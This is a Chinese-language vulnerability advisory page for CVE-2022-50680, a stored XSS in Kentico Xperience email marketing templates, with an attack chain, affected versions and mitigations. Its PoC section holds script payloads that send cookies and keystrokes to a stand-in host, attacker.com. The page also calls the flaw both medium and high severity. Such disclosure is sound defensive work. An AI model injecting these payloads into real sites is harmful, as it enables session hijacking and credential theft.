IPBUF安全漏洞报告
English
CVE-2022-50680 CVSS 4.8 中危

CVE-2022-50680: Kentico Xperience 邮件营销模板存储型XSS漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2022-50680
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Kentico Xperience

相关标签

存储型XSSKentico XperienceCVE-2022-50680邮件营销跨站脚本Web安全内容注入

漏洞概述

CVE-2022-50680是Kentico Xperience中的一个高危安全漏洞,攻击者通过电子邮件营销模板功能注入恶意脚本代码。该漏洞属于存储型跨站脚本(Stored XSS)漏洞,攻击者只需要管理员权限即可在邮件营销模板中植入恶意JavaScript代码。当其他用户查看或处理这些被污染的模板时,恶意脚本将在其浏览器中执行,可能导致敏感信息窃取、会话劫持、钓鱼攻击等严重后果。由于攻击代码被永久存储在服务器端,所有访问受影响模板的用户都可能成为受害者,危害范围广泛。

技术细节

该漏洞存在于Kentico Xperience的邮件营销模板处理模块中。系统未能对用户输入的模板内容进行充分的HTML转义和输入验证。攻击者(具有管理员权限)可以在创建或编辑邮件营销模板时,插入恶意的JavaScript代码(如<script>标签或事件处理器如onerror、onload等)。由于应用程序直接将这些内容存储到数据库而未进行安全过滤,当模板被渲染显示给其他用户时,恶意代码会在受害者浏览器中执行。攻击者可利用此漏洞窃取用户Cookie、会话令牌,执行任意操作,或进行进一步的社会工程攻击。

攻击链分析

STEP 1
步骤1
攻击者获取Kentico Xperience的管理员账户访问权限
STEP 2
步骤2
攻击者登录系统并导航至邮件营销模板管理页面
STEP 3
步骤3
攻击者创建新模板或编辑现有模板,在模板内容中注入恶意JavaScript代码
STEP 4
步骤4
恶意脚本被存储到数据库中,由于缺乏输入验证和输出编码
STEP 5
步骤5
当其他管理员或用户查看模板列表、预览邮件或发送使用该模板的邮件时,恶意代码在受害者浏览器中执行
STEP 6
步骤6
攻击者通过恶意脚本窃取用户会话Cookie、敏感数据或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50680 Stored XSS PoC for Kentico Xperience // Target: Kentico Xperience Email Marketing Templates // Step 1: Login as admin user to Kentico Xperience CMS // Step 2: Navigate to Email Marketing -> Templates // Step 3: Create or Edit a template and inject the following payload: const xssPayload = ` <script> // Steal cookies and session data document.write('<img src="https://attacker.com/log?c=' + encodeURIComponent(document.cookie + '|URL:' + location.href) + '"/>'); // Keylogger example document.addEventListener('keypress', function(e) { new Image().src = 'https://attacker.com/keys?k=' + e.key; }); </script> `; // Alternative payload using event handlers: const altPayload = ` <img src=x onerror="fetch('https://attacker.com/steal?data=' + btoa(document.cookie))"> `; // The injected script will execute when: // - Admin views the template list // - Users preview the email // - Emails are sent using the template console.log('PoC payload prepared for CVE-2022-50680');

影响范围

Kentico Xperience < 13.0.200
Kentico Xperience < 12.0.180

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:限制邮件营销模板的编辑权限仅授予绝对必要的管理员;对所有模板内容进行人工审核;启用内容安全策略(CSP)限制脚本执行;监控和审计模板修改日志;考虑临时禁用邮件营销功能直至完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表